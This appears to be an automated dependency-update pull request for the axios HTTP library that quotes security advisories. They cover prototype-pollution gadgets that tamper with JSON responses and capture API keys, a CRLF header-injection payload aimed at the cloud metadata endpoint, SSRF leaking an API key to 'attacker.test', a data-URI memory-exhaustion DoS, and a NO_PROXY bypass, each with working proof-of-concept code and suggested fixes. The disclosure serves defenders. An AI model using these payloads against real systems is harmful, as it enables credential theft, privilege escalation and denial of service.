importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}// Application sees: {"balance":999999,"approved":true}// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}// Application sees: {"mfaRequired":false,"accountLocked":false}// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.jsconstreviver=Object.prototype.hasOwnProperty.call(this,'parseReviver')
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.jsconstconfig=Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.jsconstreviver=(typeofthis.parseReviver==='function'&&Object.prototype.hasOwnProperty.call(this,'parseReviver'))
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

**Different polluted properties

✂ Note
PR body was truncated to here.

renovate · 2025-09-14T00:11:37Z

ℹ️ Note
This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.7` → `1.18.0`

Axios is vulnerable to DoS attack through lack of data size check

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

